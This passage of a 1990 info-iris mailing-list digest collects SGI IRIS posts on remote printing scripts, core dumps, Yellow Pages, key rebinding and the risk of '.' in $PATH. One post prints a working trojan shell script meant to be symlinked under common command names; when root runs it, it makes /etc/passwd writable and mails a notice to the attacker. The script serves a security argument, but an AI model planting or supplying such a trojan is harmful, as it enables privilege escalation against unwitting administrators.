vi). Hope this helps -- we really like the changed keyboard. -- Rick Becker alice!rab rab@research.att.com   Received: from vmb.brl.mil by VMB.BRL.MIL id aa06495; 15 Apr 90 7:26 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa06404; 15 Apr 90 7:15 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa06387; 15 Apr 90 6:51 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa21141; 15 Apr 90 6:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA24158; Sun, 15 Apr 90 03:09:28 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 16:12:52 GMT From: Tom Mitchell Organization: Silicon Graphics Computer Systems, Mountain View CA. 94039 Subject: Re: . in $path Message-Id: <6336@odin.corp.sgi.com> References: <9004121536.AA19375@physics.phy.duke.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004121536.AA19375@physics.phy.duke.edu> rgb@PHY.DUKE.EDU ("Robert G. Brown") writes: * That one is an easy one. IF you leave . in your path as root AND * if a clever Lets twist this a bit. A 'programmer' called a couple weeks back and could not get his program to run. We tried 101 different things and went round and round. Then out of the blue he said he called his program -- Yes -- he realy did call it 'test.c'. The bottom line problem was his path found /bin/test time after time. His edits and compiles were not the problem. His search path was. -- Thomas P. Mitchell -- mitch@sgi.com "All things in moderation; including moderation."   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07212; 15 Apr 90 11:55 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07098; 15 Apr 90 11:34 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07076; 15 Apr 90 11:09 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa22779; 15 Apr 90 10:38 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA05596; Sun, 15 Apr 90 07:29:27 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 18:45:03 GMT From: "Jack P. Weldon" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Remote printing Message-Id: <6348@odin.corp.sgi.com> References: <8448@tank.uchicago.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <8448@tank.uchicago.edu> kur7@tank.uchicago.edu (Shin Kurokawa) writes: > >Any suggestions on how I can make a 4D/220 to access the printer >that is physically connected to a BSD unix system on the >network? Here's what I've done so far... > I've posted a solution to this a number of times, and probably sent out over 40 copies of it over email to requestors. I have a "public-domain" version of lpr/lpq in source form that I will send to anyone that requests it. I know that it has also been archived in the info-iris.archives as well. A second solution is to port the 4.3BSD lp suite to the IRIS--the diffs have been posted to this newsgroup a few times. I know that SGI will be implementing a BSD lpr (client-only) in a "future release". I think you will like it, as well as other BSD compatibility enhancements. Cheers, Jack P. Weldon (jweldon@sgi.com) SGI Product Support Engineering   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07530; 15 Apr 90 13:47 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab07464; 15 Apr 90 13:37 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab07439; 15 Apr 90 13:17 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa23507; 15 Apr 90 12:32 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA14217; Sun, 15 Apr 90 09:28:05 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 19:46:40 GMT From: David A Higgen Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Remote printing Message-Id: <56747@sgi.sgi.com> References: <8448@tank.uchicago.edu>, <6348@odin.corp.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <6348@odin.corp.sgi.com>, jweldon@renegade.sgi.com (Jack P. Weldon) writes: > I know that SGI will be implementing a BSD lpr (client-only) in a "future > release". I think you will like it, as well as other BSD compatibility > enhancements. It's in 3.3, coming momentarily. I don't know what you meant by client-only, the version in 3.3 is a complete port of the BSD 4.3-tahoe lpr. Dave Higgen   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07572; 15 Apr 90 13:58 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07464; 15 Apr 90 13:37 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07439; 15 Apr 90 13:16 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa23499; 15 Apr 90 12:32 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA14282; Sun, 15 Apr 90 09:28:44 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 12:01:33 GMT From: Michael Gold Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Inhibiting core dumps Message-Id: References: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL My favorite "hack" to limiting core dumps in / is to create a directory /core. The program cannot replace a directory with a file; thus no core dump. The obvious drawback is that you lose potential debugging information. Consider this a personal suggestion, not an official response from SGI... -- Mike   Received: from vmb.brl.mil by VMB.BRL.MIL id ab07572; 15 Apr 90 13:58 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac07464; 15 Apr 90 13:37 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ac07439; 15 Apr 90 13:17 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa23562; 15 Apr 90 12:34 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA14235; Sun, 15 Apr 90 09:28:20 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 19:35:48 GMT From: dave "who can do? ratmandu!" ratcliffe Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Need info for using WorkSpace under Yellow Pages Message-Id: <6351@odin.corp.sgi.com> References: <1281@sdrc.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1281@sdrc.UUCP> crscott@sdrc.UUCP (Scott_Klosterman) writes: > > A while back some-one posted a message which showed how > to run workspace under Yellow Pages. Basically you just > copy the /etc/services entry to your yp master. If > some-one has a copy of this Please send it to me as > I forgot what I did and I can't find the fix. > > Thanks uunet!sdrc!crscott tried to mail this, couldn't get thru to scott..... maybe this'll work.... To: crscott@sdrc.UUCP Subject: Re: Need info for using WorkSpace under Yellow Pages Newsgroups: comp.sys.sgi In-Reply-To: <1281@sdrc.UUCP> Organization: Silicon Graphics, Inc., Mountain View, CA Subject: 3.2: introducing ws to yp cust was finding one of 2 problems occuring when, on their 3.2 4D machine, they tried to either fire up ypbind AFTER workspace was already running, OR trying to invoke workspace AFTER ypbind was already running. 1. if workspace is already running and invokes ypbind the system hangs solid 2. if ypbind is already running and they try to invoke workspace they get the error "can't connect with file access monitor". The problem was that their YP server machine was not a 3.2 IRIX machine (in this case it wasn't even an IRIS--it was a SUN). below are three ultimate knowledge pieces: ----------------------------------------------------------- Fact: If a site is running 3.2 software, its YP master machine must also be running the 3.2 version of /etc/rpc, which has the services needed for file system monitoring contained within it. ----------------------------------------------------------- On the YP master, after making sure /etc/rpc is the 3.2 version (with sgi_fam and sgi_toolkitbus entries), they should cd /usr/etc/yp make rpc and watch things happen. ----------------------------------------------------------- ALL this yp and workspace stuff : Two problems have been around : 1 - If the yp server is not running 3.2, the /etc/rpc database for everyone who is using yp will not have sgi_fam and sgi_toolkitbusd in it. To fix this, the following lines should be added to /etc/rpc on the server: sgi_toolkitbus 391001 sgi_fam 391002 Then, you should ( on the server ) cd /usr/etc/yp; make rpc 2 - Some people on larger networks have had trouble with autoworkspace. Basically, if the network is large and slow enough, the yp server is not resolved by the time the system tries to start the workspace, and so the workspace fails to start ( since it can't connect to fam, since yp won't tell it how to....) A second or so later, if you try to start the workspace from the system menu, it starts up fine ( since yp has by then gotten it's act together...) -- daveus rattus yer friendly neighborhood ratman "There is no moral problem there. I used to teach ethics--trust me." -- Bush administration drug czar William Bennett, on the idea of decapitating drug dealers. Newsgroups: comp.sys.sgi Subject: Re: Need info for using WorkSpace under Yellow Pages Summary: Expires: References: <1281@sdrc.UUCP> Sender: Followup-To: Distribution: Organization: Silicon Graphics, Inc., Mountain View, CA Keywords: In article <1281@sdrc.UUCP> crscott@sdrc.UUCP (Scott_Klosterman) writes: > > A while back some-one posted a message which showed how > to run workspace under Yellow Pages. Basically you just > copy the /etc/services entry to your yp master. If > some-one has a copy of this Please send it to me as > I forgot what I did and I can't find the fix. > > Thanks uunet!sdrc!crscott   Received: from vmb.brl.mil by VMB.BRL.MIL id aa11246; 16 Apr 90 1:40 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa10773; 16 Apr 90 1:08 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa10754; 16 Apr 90 0:46 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa22947; 15 Apr 90 11:06 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA07513; Sun, 15 Apr 90 07:56:00 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 22:00:33 GMT From: "David B. Serafini" Organization: NASA Ames Research Center, Moffett Field, CA Subject: wsh question Message-Id: <5635@amelia.nas.nasa.gov> References: <8448@tank.uchicago.edu>, <11968@nlm-mcs.arpa>, <7508@ubc-cs.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Does anyone know a way to tell wsh to pass the Page Up/Down, Home and End keys to the application is there is no scroll bar on the window? I'm running Emacs through wsh with -r0 (saves no lines that have scrolled and eliminates the scroll bar) but something, (I assume wsh) is intercepting these keys because Emacs isn't getting them. I've also tried the -Z5 switch of wsh, but that has the same behavior. On a somewhat related note, can I make the Alt keys into Meta keys somehow? If not, how come only the right Alt key seems to generate anything. The left Alt key just makes the keyboard beep every other time it is pressed with another key, but doesn't send any characters. This doesn't agree with what is in the manual "Using the GL/DGL interfaces", Appendix A. Textport and Keyboard Data. (BTW, why are the wsh escape sequences in an appendix to the Graphics library manual? Am I the only one who thinks this is an inappropriate (read stupid) place to put them? I'm using a 4D/20 under Irix 3.2.1   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21175; 16 Apr 90 14:45 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab20727; 16 Apr 90 14:35 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa20610; 16 Apr 90 14:07 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20367; 15 Apr 90 4:04 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA16787; Sun, 15 Apr 90 01:02:10 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 16:44:48 GMT From: Dan Lacey Organization: Xyvision Design Systems, Waltham MA Subject: Re: Character pointer c core dump Message-Id: <1058@contex.UUCP> References: <5051930@ub.cc.umich.edu>, Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL There is undocumented ( in any normal sense ) switch to cc: -align8 Use this when you compile. We use this in general to avoid these problems. ===================================================================== | Dan "GO FOR IT" Lacey | "It never got weird enough." | | Senior Software Engineer | Dr. H.S.Thompson | | Xyvision Design Systems, Inc. | | | 101 Edgewater Drive | | | Wakefield, MA. 01880 | | | (617) 245-9004 X5575 | | | contex!lacey@uunet.uu.net | | =====================================================================   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24035; 16 Apr 90 17:42 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23689; 16 Apr 90 17:32 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa23550; 16 Apr 90 17:07 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa22884; 15 Apr 90 10:53 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA06773; Sun, 15 Apr 90 07:45:38 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 21:02:27 GMT From: John Buchanan Organization: Imager,UBC, DCS, Vancouver, B.C., Canada Subject: Re: Remote printing Message-Id: <7508@ubc-cs.UUCP> References: <8448@tank.uchicago.edu>, <11968@nlm-mcs.arpa> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <11968@nlm-mcs.arpa> states@tech.NLM.NIH.GOV (David States) writes: >In article <8448@tank.uchicago.edu> kur7@tank.uchicago.edu (Shin Kurokawa) writes: >> >>Any suggestions on how I can make a 4D/220 to access the printer >>that is physically connected to a BSD unix system on the >>network? > We have a printer hooked up to a PI, but would also like to provide access to the other printers which are attached to BSD machines. The following csh script has done the job for us. It is slow but works. #!/bin/csh -f # # lpr fake for Sys V # # Fake a minimal lpr # # John Buchanan 26 Feb 1990 # # the users must have a .rhosts which allows them access to both # hosts. set FILES = () set WOODY_HOST = abbott set OTHER_HOST = grads #default printer. set PRINTER = woody #available printers set PRINTERS = (woody \ garibaldi lw gari lw334 \ tusk lw244 \ clinker clink lwd lwdraft \ fissile lw332 \ wedge lw312 \ ) # #Parse the arguments only -P is allowed right now. # while (${#argv} >= 1) set flag = `echo $argv[1] | awk ' /\-..*/ {print substr($1,2,1) }'` if ($flag != "") then switch ($flag) case "P": set PRINTER = `echo $argv[1] | sed 's/-P//'` breaksw default: echo Unknown flag $argv[1] exit 1 endsw else set FILES = ($argv[1] ${FILES}) endif shift end # # if no files we assume stdin # if ( ${#FILES} == 0) then set FILES = ( /tmp/${USER}.lpr.tmp ) cat > /tmp/${USER}.lpr.tmp #copy stdin to /tmp endif #check to see if it is a valid printer set NOT_VALID = 1 foreach i ($PRINTERS) if ($i == $PRINTER) set NOT_VALID = 0 end if ($NOT_VALID == 1) then echo Sorry: the printer $PRINTER is unknown echo known printers are $PRINTERS exit 1 endif # # set up the printer spec # if ( ${PRINTER} == woody ) then set PRINT_HOST = ${WOODY_HOST} set LP = "lp -c -o-h -dwoody" else set PRINT_HOST = ${OTHER_HOST} set LP = (lpr -P${PRINTER} ) endif # # for each file copy to /tmp on the PRINT_HOST machine and then # print them out. # foreach i (${FILES}) rcp $i ${PRINT_HOST}:/tmp/lpr.${USER}.from.imager rsh ${PRINT_HOST} $LP /tmp/lpr.${USER}.from.imager rsh ${PRINT_HOST} /bin/rm /tmp/lpr.${USER}.from.imager end #remove tmp file if input was stdin. if (-e /tmp/${USER}.lpr.tmp ) /bin/rm /tmp/${USER}.lpr.tmp #end of lpr   Received: from vmb.brl.mil by VMB.BRL.MIL id aa00093; 17 Apr 90 6:32 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa29162; 17 Apr 90 6:09 EDT Received: by VMB.BRL.MIL id aw28853; 17 Apr 90 5:56 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa06315; 15 Apr 90 6:26 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20922; 15 Apr 90 6:01 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA23099; Sun, 15 Apr 90 02:54:50 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 09:37:14 GMT From: Jeff Weinstein Organization: Silicon Graphics Inc. Subject: Re: Inhibiting core dumps Message-Id: <6335@odin.corp.sgi.com> References: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article , jim@baroque.Stanford.EDU (James Helman) writes: 1) Does the X server ever need to write any files? If so, this solution could cause problems. No. Jeff Weinstein - X Protocol Police Silicon Graphics, Inc., Entry Systems Division, Window Systems jsw@xhead.esd.sgi.com Any opinions expressed above are mine, not sgi's.   Received: from vmb.brl.mil by VMB.BRL.MIL id ab00093; 17 Apr 90 6:32 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ad29162; 17 Apr 90 6:10 EDT Received: by VMB.BRL.MIL id br28853; 17 Apr 90 5:59 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa20702; 16 Apr 90 14:14 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa22777; 15 Apr 90 10:37 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA05093; Sun, 15 Apr 90 07:22:07 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 13 Apr 90 19:12:12 GMT From: Dan Lacey Organization: Xyvision Design Systems, Waltham MA Subject: R/W Optical Disk Message-Id: <1059@contex.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL We would like to use a R/W optical disk on an SGI 4D20 or 4D25. The ones I have seen are from Maxtor and Sony. We would like to use the ~300 Mb per side drives and media. Does anyone have experience with these drives? What is your media cost? ***** IMPORTANT ***** Could a knowledgeable SGI representative comment on when SGI might qualify one of these or another drive? If so, what release will the driver show up in? THANX in advance, LACEY ===================================================================== | Dan "GO FOR IT" Lacey | "It never got weird enough." | | Senior Software Engineer | Dr. H.S.Thompson | | Xyvision Design Systems, Inc. | | | 101 Edgewater Drive | | | Wakefield, MA. 01880 | | | (617) 245-9004 X5575 | | | contex!lacey@uunet.uu.net | | =====================================================================   Received: from vmb.brl.mil by VMB.BRL.MIL id aa04630; 14 Apr 90 23:34 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa04502; 14 Apr 90 23:03 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa04500; 14 Apr 90 22:43 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa18898; 14 Apr 90 22:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA28317; Sat, 14 Apr 90 19:15:33 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 15 Apr 90 01:45:33 GMT From: pa1081 Organization: University of California, San Diego Subject: Plotting on SGI's Message-Id: <9714@sdcc6.ucsd.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL *************** I have a number of SGI Personal IRIS machines and would like an easy to use public domain plotting package (not gnuplot) that can do X vs. Y plots as well as polar coordinate plots. It should be able to plot multiple data points on a single set of axes and have output to at least TEK 4010 and Hp7550 and/or hp7475 type devices (as well as the SGI console not using Xwindows). This may be asking a bit much, but does anyone know of a package like this? Please reply to photon!steve@ucsd.edu as this is not my account. Thanks in Advance, Steve Diggs (photon!stev@ucsd.edu)   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07838; 15 Apr 90 15:29 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07771; 15 Apr 90 15:19 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07749; 15 Apr 90 14:56 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24292; 15 Apr 90 14:19 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA22092; Sun, 15 Apr 90 11:15:44 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 14 Apr 90 17:48:21 GMT From: Vernon Schryver Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: . in $path Message-Id: <56842@sgi.sgi.com> References: <283:doelz@urz.unibas.ch>, <1630@dftsrv.gsfc.nasa.gov>, <10704@alice.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <10704@alice.UUCP>, andrew@alice.UUCP (Andrew Hume) writes: > > it seems [su] is the only program that people quote as a real problem; > always invoking it as a full path seems preferable to not having . in $PATH. Consider the following, adapted from John Merritt's example: #!/bin/sh if /bin/test -w /etc/passwd; then echo "the chump bought $0" | /bin/mail cybrpunk fi /bin/chmod +w /etc/passwd 2>/dev/null /bin/rm -f /usr/tmp/.crack ./rm ./test ./ls ./pwd ./who ./df ./su ./mail ./echo exec $0 $* Put this in /usr/tmp/.crack, and make symbolic links to it in every writable directory with names test, rm, ls, pwd, who, df, su, mail, ps, echo and anything else you think the victum is likely to use. It is not quite as elegant as the su password catcher, but it is more effective because it is more likely to be used. A vendor whose name I've forgotten, offered a cash reward or something on a trade show floor a few years ago to anyone who could break into their super-duper secure system, and then refused to pay when someone successfully used this technique. Many of us hate typing passwords. In the next release of IRIX, the su command checks /.rhosts for lines like "localhost username" using the standard BSD style ruserok() code. This allows me to put "localhost vjs" in my workstation's /.rhosts file, and never have to type its root password. It is a security risk, since if you know my password, you effectively know my machine's root password, but the security risk of using this feature is less than any other use of /.rhosts. The appropriate number of locks and guards varies. If you are on a small private network, and if any modems or other external connections are sufficently well guarded, you may choose to have minimal security hassles. You may not have any root passwords. You are free to put "." in your path if the risk too small to be balanced by the hassle. Vernon Schryver Silicon Graphics vjs@sgi.com   Received: from vmb.brl.mil by VMB.BRL.MIL id ab22400; 16 Apr 90 15:49 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab22028; 16 Apr 90 15:38 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab21603; 16 Apr 90 15:10 EDT Received: from umrvma.umr.edu by SMOKE.BRL.MIL id aa15141; 16 Apr 90 14:02 EDT Received: from UMRVMA.UMR.EDU by UMRVMA.UMR.EDU (IBM VM SMTP R1.2.1MX) with BSMTP id 2639; Sat, 14 Apr 90 21:47:43 CDT Received: by UMRVMA (Mailer R2.05) id 2637; Sat, 14 Apr 90 21:47:40 CDT Date: Sat, 14 Apr 90 21:45:38 CDT From: Bob Funchess Subject: GIF files To: info-iris@BRL.MIL Message-ID: <9004161402.aa15141@SMOKE.BRL.MIL> A recent posting asked about a GIF image viewer. The one that was posted to this list earlier can be retrieved via anonymous FTP from blumiris.chem.umr.edu (131.151.14.50). < Bob | S090726@UMRVMA.UMR.EDU | Funchess > University of Missouri - Rolla "Never trust a man in a blue trench coat, Never drive a car when you're dead" -- T. Waits   Received: from vmb.brl.mil by VMB.BRL.MIL id aa00240; 17 Apr 90 6:43 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac29162; 17 Apr 90 6:10 EDT Received: by VMB.BRL.MIL id bc28853; 17 Apr 90 5:57 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab07677; 15 Apr 90 14:24 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24036; 15 Apr 90 13:32 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA18580; Sun, 15 Apr 90 10:26:48 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 14 Apr 90 04:29:38 GMT From: Andrew Hume Organization: AT&T Bell Laboratories, Murray Hill NJ Subject: Re: . in $path Message-Id: <10704@alice.UUCP> References: <283:doelz@urz.unibas.ch>, <1630@dftsrv.gsfc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL research unix has su in /etc, not bin, and as /etc is not normally in $PATH, you get into the habit of saying /etc/su real fast. as for system v style machines (like sgi), su is a botch in that it is in /bin but i always invoke it directly as /bin/su. it seems this is the only program that people quote as a real problem; always invoking it as a full path seems preferable to not having . in $PATH.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa05545; 15 Apr 90 3:11 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa05458; 15 Apr 90 2:50 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa05431; 15 Apr 90 2:25 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa19730; 15 Apr 90 2:03 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA09171; Sat, 14 Apr 90 23:01:47 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 15 Apr 90 05:35:10 GMT From: Tom Stockfisch Organization: Chemistry Dept, UC San Diego Subject: Re: . in $path Message-Id: <745@chem.ucsd.EDU> References: <9004121745.AA01073@aero4.larc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004121745.AA01073@aero4.larc.nasa.gov> blbates@AERO4.LARC.NASA.GOV ("Brent L. Bates AAD/TAB MS361 x42854") writes: > Personally, I find the practice of NOT having '.' in your path, >extremely paranoid.... > If you can't trust the people you work with, who can you trust?! What if the user is stupid rather than untrustworthy? What if he has a program called "test" which he wrote to do something reasonable for him, but which removes a bunch of files in $HOME or sends 10 megabytes of junk to the color laser printer queue? -- || Tom Stockfisch, UCSD Chemistry tps@chem.ucsd.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa11859; 16 Apr 90 3:41 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa11793; 16 Apr 90 3:31 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa11776; 16 Apr 90 3:07 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa29765; 16 Apr 90 2:32 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA00289; Sun, 15 Apr 90 23:22:24 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 06:03:12 GMT From: Rob Warnock Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: changing key bindings Message-Id: <56882@sgi.sgi.com> References: <12704@dime.cs.umass.edu>, <10700@alice.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <10700@alice.UUCP> rab@alice.UUCP (Rick Becker) writes: +--------------- | In article <12704@dime.cs.umass.edu>, james@smectos.gang.umass.edu writes: | > Does anybody know how to rebind the keys on an SGI 4D240 running NeWS | > so that the key acts as ? | Your question about interchanging the control and caps lock keys was | addressed some time ago in this newsgroup... Most of this was copied | from something on netnews (I forget the original source). +--------------- I believe the definition you gave for replacekeys was first posted by scotth@harlie.corp.sgi.com (at least that's who posted the version I got). +--------------- | We decided to make the change affect all users on our machines, and | not be something that required individuals to modify their own setup code. +--------------- And of course, a user who *wants* it different can always do so, by calling "replacekeys" again in their personal user.ps (or by supplying their own startup.ps, as most of the users around here do to customize the startup banner...) +--------------- | We also wanted to take it one step further, by interchanging the | keycaps -- a bit of surgery with a sharp knife can make the wide | control key cap fit into the space vacated by caps lock. +--------------- Well, I actually prefer both of the orginal control keys to stay that way. The thing that was bothering me was the "stateful" quality of CapsLock, that one brief touch could mess you up for a while, so I didn't want any version of it anywhere near the center of the keyboard. So physically changing the caps didn't buy anything -- they're *all* Ctrls! (Maybe I need gummed labels?) What I did instead was map NumLock (which I *never* use) back to CapsLock (which I almost never use, but still might like to occasionally). It's *way* out of the way, and impossible to hit by accident. My user.ps says (keyswap.ps is like your keyflip.ps): { (NeWS/keyswap.ps) LoadFile %map CapsLock => Cntl % Numlock => CapsLock [28420 28582] [28419 28420] replacekeys } stopped pop It's kinda cute to hit NumLock and watch the CapsLock LED go on and off... +--------------- | ...and also interchanges escape with the `~ key (useful with vi). +--------------- Well, I thought of that, and decided I type ` and ~ too often to want to reach "way up there". What I do (and did on vt220's before coming to SGI) is use the ":map!" feature of vi to map ` to , but only in insert mode. That way, I get to still use ` as a vi command in command mode (as in `` to flip back to the previous location), and ~ stays withing easy reach. You can put the following in your ~/.exrc file (I have changed all control characters to "^char" to get through the news/mail -- you'll have to put them back): map! ` ^V^[ And if you need to insert a ` (as when composing this message), just type a ^V before each one. -Rob ----- Rob Warnock, MS-9U/510 rpw3@sgi.com rpw3@pei.com Silicon Graphics, Inc. (415)335-1673 Protocol Engines, Inc. 2011 N. Shoreline Blvd. Mountain View, CA 94039-7311   Received: from vmb.brl.mil by VMB.BRL.MIL id aa20727; 16 Apr 90 14:15 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa20299; 16 Apr 90 14:05 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa20297; 16 Apr 90 13:45 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa11144; 16 Apr 90 12:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA28154; Mon, 16 Apr 90 09:06:32 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 15:13:33 GMT From: Sandeep Shriram Mulgund Organization: Princeton University, NJ Subject: Re: 3D graphics Message-Id: <15385@phoenix.Princeton.EDU> References: <1990Apr12.234926.23484@athena.mit.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr12.234926.23484@athena.mit.edu> mmachlis@athena.mit.edu (Matthew A Machlis) writes: >I know this is a simple question, but... > >I wrote a small c program which draws a cube with 2 opposing sides >removed to make it "hollow," and which lets you move around inside >the cube. I use 